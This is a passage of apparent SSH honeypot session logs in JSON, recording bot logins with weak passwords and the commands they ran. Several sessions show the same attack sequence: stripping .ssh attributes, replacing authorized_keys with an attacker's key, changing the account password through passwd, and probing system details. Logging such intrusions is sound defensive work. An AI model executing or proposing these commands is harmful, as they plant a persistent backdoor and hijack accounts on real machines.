$7}'"},{"seq":10,"at":"2026-08-27T12:02:02.652171+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:02:02.945791+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:02:03.847326+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:02:04.142179+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:02:04.892994+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:02:05.187496+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:02:05.936481+00:00","kind":"output","latency_ms":null,"data":" 12:02:05 up 7 days, 8:52, 0 user, load average: 0.24, 0.25, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:02:06.231686+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:02:06.769097+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:02:07.062792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:02:07.353540+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:02:07.647819+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:02:08.400569+00:00","kind":"output","latency_ms":null,"data":"top - 12:02:08 up 7 days, 8:52, 0 user, load average: 0.24, 0.25, 0.18\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:02:08.694625+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:02:09.257520+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:02:09.550660+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:02:09.979786+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:02:10.275042+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:02:10.890190+00:00","kind":"output","latency_ms":null,"data":"ardi"},{"seq":29,"at":"2026-08-27T12:02:11.183696+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:02:12.168578+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:02:12.461807+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:02:14.527676+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ardi","password":"ardi","method":"password","accepted":true,"tier":"other"}]} {"id":"ff5a7f90-82ae-445e-abcd-3a34f5b2fea4","name":"arctic-vernal-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59390,"username":"git","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:02:07.645167+00:00","ended_at":"2026-08-27T12:02:08.629014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:01:47.039812+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:47.491465+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:52.003796+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:01:52.903704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:01:53.352128+00:00","kind":"input","latency_ms":null,"data":"echo -e \"159357\\nXTjVItQ0ZZEL\\nXTjVItQ0ZZEL\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:01:53.799660+00:00","kind":"input","latency_ms":null,"data":"echo \"159357\\nXTjVItQ0ZZEL\\nXTjVItQ0ZZEL\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:01:54.255080+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:01:54.554717+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:01:55.001604+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:01:56.323016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:01:56.772839+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:01:57.877934+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:01:58.329653+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:01:59.120629+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:01:59.581537+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:02:00.314966+00:00","kind":"output","latency_ms":null,"data":" 12:02:00 up 7 days, 8:52, 0 user, load average: 0.29, 0.26, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:02:00.761390+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:02:01.210507+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:02:01.658473+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:02:01.934139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:02:02.381914+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:02:02.641254+00:00","kind":"output","latency_ms":null,"data":"top - 12:02:02 up 7 days, 8:52, 0 user, load average: 0.29, 0.26, 0.22\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:02:03.087291+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:02:03.413968+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:02:03.859517+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:02:04.693222+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:02:05.142271+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:02:05.606160+00:00","kind":"output","latency_ms":null,"data":"git"},{"seq":29,"at":"2026-08-27T12:02:06.052609+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:02:07.198227+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:02:07.646612+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:02:08.495683+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"git","password":"159357","method":"password","accepted":true,"tier":"other"}]} {"id":"9dc33e9e-6f0d-4d60-940a-94ecf7d2212a","name":"calm-slender-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":39344,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:02:01.018121+00:00","ended_at":"2026-08-27T12:02:02.890480+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2217,"events":[{"seq":1,"at":"2026-08-27T12:01:40.537811+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:40.866457+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:46.030859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:01:46.386802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:01:46.982030+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1qazxsw2!@\\npz0TxVeOhdE7\\npz0TxVeOhdE7\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:01:47.311716+00:00","kind":"input","latency_ms":null,"data":"echo \"1qazxsw2!@\\npz0TxVeOhdE7\\npz0TxVeOhdE7\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:01:47.635480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:01:48.505331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:01:48.834048+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:01:50.073658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:01:50.404686+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:01:51.484858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:01:51.813304+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:01:52.620544+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:01:52.962817+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:01:53.610861+00:00","kind":"output","latency_ms":null,"data":" 12:01:53 up 7 days, 8:52, 0 user, load average: 0.19, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:01:53.936694+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:01:54.716751+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:01:55.043622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:01:55.605864+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:01:55.974396+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:01:56.554147+00:00","kind":"output","latency_ms":null,"data":"top - 12:01:56 up 7 days, 8:52, 0 user, load average: 0.19, 0.24, 0.19\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:01:56.879118+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:01:57.147121+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:01:57.473744+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:01:58.192725+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:01:58.522593+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:01:59.048315+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T12:01:59.377750+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:02:00.692603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:02:01.019038+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:02:02.790251+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"1qazxsw2!@","method":"password","accepted":true,"tier":"other"}]} {"id":"d2c5cdfc-67aa-4c21-b0e9-b364bc081355","name":"glacial-diligent-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":54546,"username":"web","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:01:29.961194+00:00","ended_at":"2026-08-27T12:01:31.230450+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:01:03.237528+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:01:03.493580+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:07.902231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:01:08.879369+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:01:09.146578+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nCDMhX2klvsTX\\nCDMhX2klvsTX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:01:09.409242+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nCDMhX2klvsTX\\nCDMhX2klvsTX\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:01:09.673189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:01:10.753118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:01:10.811194+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:01:11.046766+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:01:11.075472+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:01:13.186621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:01:13.452518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:01:14.509308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:01:14.775255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:01:15.957718+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:01:16.223652+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:01:17.307873+00:00","kind":"output","latency_ms":null,"data":" 12:01:17 up 7 days, 8:51, 0 user, load average: 0.12, 0.16, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:01:17.570242+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:01:18.992377+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:01:19.257688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:01:20.219284+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:01:20.481393+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:01:22.203839+00:00","kind":"output","latency_ms":null,"data":"top - 12:01:22 up 7 days, 8:51, 0 user, load average: 0.12, 0.16, 0.12\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:01:22.467818+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:01:23.409797+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:01:23.673923+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:01:25.848570+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:01:26.116128+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:01:27.975089+00:00","kind":"output","latency_ms":null,"data":"web"},{"seq":31,"at":"2026-08-27T12:01:28.238950+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:01:29.696882+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:01:29.962094+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:01:31.153085+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"web","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"53b84977-5d1f-495c-9108-74efdc695480","name":"primal-early-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":41662,"username":"azureuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":734,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:11.645160+00:00","ended_at":"2026-08-27T12:00:13.363660+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T11:59:42.203878+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:42.931367+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:50.217819+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:50.588377+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:51.546685+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nyDXEqHk2nEIt\\nyDXEqHk2nEIt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:59:52.988887+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nyDXEqHk2nEIt\\nyDXEqHk2nEIt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:59:53.713707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:54.085544+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:59:54.818875+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:59:55.845465+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:59:56.576665+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:59:57.721208+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:59:58.450015+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:59:58.752563+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:59:59.485241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:00:00.191592+00:00","kind":"output","latency_ms":null,"data":" 12:00:00 up 7 days, 8:50, 0 user, load average: 0.29, 0.28, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:00:01.436209+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:00:01.955471+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:00:02.697931+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:00:03.145634+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:00:04.102626+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:00:04.518145+00:00","kind":"output","latency_ms":null,"data":"top - 12:00:04 up 7 days, 8:50, 0 user, load average: 0.29, 0.28, 0.3\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n 